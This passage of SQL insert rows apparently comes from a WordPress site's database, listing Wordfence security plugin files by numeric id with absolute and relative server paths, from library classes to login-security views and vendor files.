(527,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfOnboardingController.php','wp-content/plugins/wordfence/lib/wfOnboardingController.php'),
(528,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfPersistenceController.php','wp-content/plugins/wordfence/lib/wfPersistenceController.php'),
(529,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfRESTAPI.php','wp-content/plugins/wordfence/lib/wfRESTAPI.php'),
(530,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScan.php','wp-content/plugins/wordfence/lib/wfScan.php'),
(531,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanEngine.php','wp-content/plugins/wordfence/lib/wfScanEngine.php'),
(532,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanEntrypoint.php','wp-content/plugins/wordfence/lib/wfScanEntrypoint.php'),
(533,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFile.php','wp-content/plugins/wordfence/lib/wfScanFile.php'),
(534,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileLink.php','wp-content/plugins/wordfence/lib/wfScanFileLink.php'),
(535,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileListItem.php','wp-content/plugins/wordfence/lib/wfScanFileListItem.php'),
(536,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanFileProperties.php','wp-content/plugins/wordfence/lib/wfScanFileProperties.php'),
(537,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanMonitor.php','wp-content/plugins/wordfence/lib/wfScanMonitor.php'),
(538,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfScanPath.php','wp-content/plugins/wordfence/lib/wfScanPath.php'),
(539,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfSchema.php','wp-content/plugins/wordfence/lib/wfSchema.php'),
(540,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfStyle.php','wp-content/plugins/wordfence/lib/wfStyle.php'),
(541,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfSupportController.php','wp-content/plugins/wordfence/lib/wfSupportController.php'),
(542,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfUnlockMsg.php','wp-content/plugins/wordfence/lib/wfUnlockMsg.php'),
(543,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfUpdateCheck.php','wp-content/plugins/wordfence/lib/wfUpdateCheck.php'),
(544,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfUtils.php','wp-content/plugins/wordfence/lib/wfUtils.php'),
(545,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfVersionCheckController.php','wp-content/plugins/wordfence/lib/wfVersionCheckController.php'),
(546,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfVersionSupport.php','wp-content/plugins/wordfence/lib/wfVersionSupport.php'),
(547,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfView.php','wp-content/plugins/wordfence/lib/wfView.php'),
(548,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfViewResult.php','wp-content/plugins/wordfence/lib/wfViewResult.php'),
(549,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wfWebsite.php','wp-content/plugins/wordfence/lib/wfWebsite.php'),
(550,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceClass.php','wp-content/plugins/wordfence/lib/wordfenceClass.php'),
(551,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceConstants.php','wp-content/plugins/wordfence/lib/wordfenceConstants.php'),
(552,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceHash.php','wp-content/plugins/wordfence/lib/wordfenceHash.php'),
(553,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceScanner.php','wp-content/plugins/wordfence/lib/wordfenceScanner.php'),
(554,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/wordfenceURLHoover.php','wp-content/plugins/wordfence/lib/wordfenceURLHoover.php'),
(555,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/license.txt','wp-content/plugins/wordfence/license.txt'),
(556,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/.htaccess','wp-content/plugins/wordfence/models/.htaccess'),
(557,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/block/wfBlock.php','wp-content/plugins/wordfence/models/block/wfBlock.php'),
(558,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/block/wfRateLimit.php','wp-content/plugins/wordfence/models/block/wfRateLimit.php'),
(559,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/common/wfTab.php','wp-content/plugins/wordfence/models/common/wfTab.php'),
(560,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/firewall/wfFirewall.php','wp-content/plugins/wordfence/models/firewall/wfFirewall.php'),
(561,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/page/wfPage.php','wp-content/plugins/wordfence/models/page/wfPage.php'),
(562,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/models/scanner/wfScanner.php','wp-content/plugins/wordfence/models/scanner/wfScanner.php'),
(563,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/.htaccess','wp-content/plugins/wordfence/modules/login-security/classes/.htaccess'),
(564,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/ajax.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/ajax.php'),
(565,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/captcha.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/captcha.php'),
(566,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/cli.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/cli.php'),
(567,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/db.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/db.php'),
(568,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/javascript.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/javascript.php'),
(569,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/notices.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/notices.php'),
(570,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/passkey.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/passkey.php'),
(571,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/permissions.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/permissions.php'),
(572,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/rest.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/rest.php'),
(573,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/settings.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/settings.php'),
(574,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/support.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/support.php'),
(575,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/time.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/time.php'),
(576,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/totp.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/totp.php'),
(577,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/users.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/users.php'),
(578,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/whitelist.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/whitelist.php'),
(579,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/wordfencels.php','wp-content/plugins/wordfence/modules/login-security/classes/controller/wordfencels.php'),
(580,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/2fainitializationdata.php','wp-content/plugins/wordfence/modules/login-security/classes/model/2fainitializationdata.php'),
(581,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/asset.php','wp-content/plugins/wordfence/modules/login-security/classes/model/asset.php'),
(582,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/compat.php','wp-content/plugins/wordfence/modules/login-security/classes/model/compat.php'),
(583,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/base2n.php','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/base2n.php'),
(584,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/jwt.php','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/jwt.php'),
(585,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/symmetric.php','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto/symmetric.php'),
(586,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/crypto.php','wp-content/plugins/wordfence/modules/login-security/classes/model/crypto.php'),
(587,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/ip.php','wp-content/plugins/wordfence/modules/login-security/classes/model/ip.php'),
(588,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/notice.php','wp-content/plugins/wordfence/modules/login-security/classes/model/notice.php'),
(589,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/request.php','wp-content/plugins/wordfence/modules/login-security/classes/model/request.php'),
(590,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/script.php','wp-content/plugins/wordfence/modules/login-security/classes/model/script.php'),
(591,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings/db.php','wp-content/plugins/wordfence/modules/login-security/classes/model/settings/db.php'),
(592,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings/wpoptions.php','wp-content/plugins/wordfence/modules/login-security/classes/model/settings/wpoptions.php'),
(593,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/settings.php','wp-content/plugins/wordfence/modules/login-security/classes/model/settings.php'),
(594,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/style.php','wp-content/plugins/wordfence/modules/login-security/classes/model/style.php'),
(595,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/text/html.php','wp-content/plugins/wordfence/modules/login-security/classes/model/text/html.php'),
(596,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/text/javascript.php','wp-content/plugins/wordfence/modules/login-security/classes/model/text/javascript.php'),
(597,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/tokenbucket.php','wp-content/plugins/wordfence/modules/login-security/classes/model/tokenbucket.php'),
(598,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view/tab.php','wp-content/plugins/wordfence/modules/login-security/classes/model/view/tab.php'),
(599,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view/title.php','wp-content/plugins/wordfence/modules/login-security/classes/model/view/title.php'),
(600,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/model/view.php','wp-content/plugins/wordfence/modules/login-security/classes/model/view.php'),
(601,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/array.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/array.php'),
(602,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/baseconversion.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/baseconversion.php'),
(603,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/databaselock.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/databaselock.php'),
(604,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/lock.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/lock.php'),
(605,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/measuredstring.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/measuredstring.php'),
(606,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/multisite.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/multisite.php'),
(607,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/multisiteconfigurationextractor.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/multisiteconfigurationextractor.php'),
(608,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/nulllock.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/nulllock.php'),
(609,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/number.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/number.php'),
(610,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/serialization.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/serialization.php'),
(611,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/sleep.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/sleep.php'),
(612,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/style.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/style.php'),
(613,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/utility/url.php','wp-content/plugins/wordfence/modules/login-security/classes/utility/url.php'),
(614,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/admin-global.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/admin-global.1788880300.css'),
(615,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/admin.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/admin.1788880300.css'),
(616,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/embedded.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/embedded.1788880300.css'),
(617,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/font-awesome.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/font-awesome.1788880300.css'),
(618,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/ionicons.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/ionicons.1788880300.css'),
(619,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/login.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/login.1788880300.css'),
(620,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/css/woocommerce-account.1788880300.css','wp-content/plugins/wordfence/modules/login-security/css/woocommerce-account.1788880300.css'),
(621,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/checkbox.png','wp-content/plugins/wordfence/modules/login-security/img/checkbox.png'),
(622,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/header.svg','wp-content/plugins/wordfence/modules/login-security/img/header.svg'),
(623,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/lightbox-controls.png','wp-content/plugins/wordfence/modules/login-security/img/lightbox-controls.png'),
(624,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/loading.gif','wp-content/plugins/wordfence/modules/login-security/img/loading.gif'),
(625,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/loading_background.png','wp-content/plugins/wordfence/modules/login-security/img/loading_background.png'),
(626,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/menu.svg','wp-content/plugins/wordfence/modules/login-security/img/menu.svg'),
(627,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/passkey-info-icon.svg','wp-content/plugins/wordfence/modules/login-security/img/passkey-info-icon.svg'),
(628,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/passkey.svg','wp-content/plugins/wordfence/modules/login-security/img/passkey.svg'),
(629,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_444444_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_444444_256x240.png'),
(630,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_555555_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_555555_256x240.png'),
(631,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777620_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777620_256x240.png'),
(632,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777777_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_777777_256x240.png'),
(633,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_cc0000_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_cc0000_256x240.png'),
(634,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/img/ui-icons_ffffff_256x240.png','wp-content/plugins/wordfence/modules/login-security/img/ui-icons_ffffff_256x240.png'),
(635,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/admin-global.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/admin-global.1788880300.js'),
(636,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/admin.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/admin.1788880300.js'),
(637,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/chart.umd.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/chart.umd.1788880300.js'),
(638,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/jquery.qrcode.min.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/jquery.qrcode.min.1788880300.js'),
(639,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/login.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/login.1788880300.js'),
(640,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/vue.esm-browser.prod.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/vue.esm-browser.prod.1788880300.js'),
(641,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/wflsi18n.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/wflsi18n.1788880300.js'),
(642,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/js/wordfence-login-security.1788880300.js','wp-content/plugins/wordfence/modules/login-security/js/wordfence-login-security.1788880300.js'),
(643,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/.htaccess','wp-content/plugins/wordfence/modules/login-security/views/.htaccess'),
(644,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/modal-prompt.php','wp-content/plugins/wordfence/modules/login-security/views/common/modal-prompt.php'),
(645,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/reset-grace-period.php','wp-content/plugins/wordfence/modules/login-security/views/common/reset-grace-period.php'),
(646,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/revoke-grace-period.php','wp-content/plugins/wordfence/modules/login-security/views/common/revoke-grace-period.php'),
(647,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/common/semantic-icon.php','wp-content/plugins/wordfence/modules/login-security/views/common/semantic-icon.php'),
(648,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/email/login-verification.php','wp-content/plugins/wordfence/modules/login-security/views/email/login-verification.php'),
(649,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/email/passkey-added.php','wp-content/plugins/wordfence/modules/login-security/views/email/passkey-added.php'),
(650,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/activate.php','wp-content/plugins/wordfence/modules/login-security/views/manage/activate.php'),
(651,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/code.php','wp-content/plugins/wordfence/modules/login-security/views/manage/code.php'),
(652,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/deactivate.php','wp-content/plugins/wordfence/modules/login-security/views/manage/deactivate.php'),
(653,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/grace-period.php','wp-content/plugins/wordfence/modules/login-security/views/manage/grace-period.php'),
(654,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/manage/regenerate.php','wp-content/plugins/wordfence/modules/login-security/views/manage/regenerate.php'),
(655,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/feature-disabled.php','wp-content/plugins/wordfence/modules/login-security/views/page/feature-disabled.php'),
(656,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/manage-embedded.php','wp-content/plugins/wordfence/modules/login-security/views/page/manage-embedded.php'),
(657,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/manage.php','wp-content/plugins/wordfence/modules/login-security/views/page/manage.php'),
(658,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/page.php','wp-content/plugins/wordfence/modules/login-security/views/page/page.php'),
(659,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey-disabled-admin.php','wp-content/plugins/wordfence/modules/login-security/views/page/passkey-disabled-admin.php'),
(660,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey-embedded.php','wp-content/plugins/wordfence/modules/login-security/views/page/passkey-embedded.php'),
(661,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/passkey.php','wp-content/plugins/wordfence/modules/login-security/views/page/passkey.php'),
(662,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/permission-denied.php','wp-content/plugins/wordfence/modules/login-security/views/page/permission-denied.php'),
(663,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/role.php','wp-content/plugins/wordfence/modules/login-security/views/page/role.php'),
(664,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/section-title.php','wp-content/plugins/wordfence/modules/login-security/views/page/section-title.php'),
(665,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/settings.php','wp-content/plugins/wordfence/modules/login-security/views/page/settings.php'),
(666,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/page/tabbar.php','wp-content/plugins/wordfence/modules/login-security/views/page/tabbar.php'),
(667,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/active.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/active.php'),
(668,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/grace-period.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/grace-period.php'),
(669,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/information.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/information.php'),
(670,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/initial-allowed-hostnames.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/initial-allowed-hostnames.php'),
(671,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/item.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/item.php'),
(672,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/manage.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/manage.php'),
(673,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/options.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/options.php'),
(674,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/register-disabled.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/register-disabled.php'),
(675,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/register.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/register.php'),
(676,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/passkey/registration-error-handler.php','wp-content/plugins/wordfence/modules/login-security/views/passkey/registration-error-handler.php'),
(677,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/settings/user-stats.php','wp-content/plugins/wordfence/modules/login-security/views/settings/user-stats.php'),
(678,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/views/user/grace-period-toggle.php','wp-content/plugins/wordfence/modules/login-security/views/user/grace-period-toggle.php'),
(679,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/wordfence-login-security.php','wp-content/plugins/wordfence/modules/login-security/wordfence-login-security.php'),
(680,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/readme.txt','wp-content/plugins/wordfence/readme.txt'),
(681,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/tmp/.htaccess','wp-content/plugins/wordfence/tmp/.htaccess'),
(682,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/.htaccess','wp-content/plugins/wordfence/vendor/.htaccess'),
(683,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/autoload.php','wp-content/plugins/wordfence/vendor/autoload.php'),
(684,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/ClassLoader.php','wp-content/plugins/wordfence/vendor/composer/ClassLoader.php'),
(685,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/InstalledVersions.php','wp-content/plugins/wordfence/vendor/composer/InstalledVersions.php'),
(686,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/LICENSE','wp-content/plugins/wordfence/vendor/composer/LICENSE'),
(687,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_classmap.php','wp-content/plugins/wordfence/vendor/composer/autoload_classmap.php'),
(688,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_namespaces.php','wp-content/plugins/wordfence/vendor/composer/autoload_namespaces.php'),
(689,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_psr4.php','wp-content/plugins/wordfence/vendor/composer/autoload_psr4.php'),
(690,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_real.php','wp-content/plugins/wordfence/vendor/composer/autoload_real.php'),
(691,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_static.php','wp-content/plugins/wordfence/vendor/composer/autoload_static.php'),
(692,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/installed.php','wp-content/plugins/wordfence/vendor/composer/installed.php'),
(693,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/ControlByte.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/ControlByte.php'),
(694,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DataFieldParser.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DataFieldParser.php'),
(695,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Database.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Database.php'),
(696,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DatabaseMetadata.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/DatabaseMetadata.php'),
(697,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Endianness.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Endianness.php'),
(698,'/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/FormatException.php','wp-content/plugins/wordfence/vendor/wordfence/mmdb-reader/src/Exception/FormatException.php'),
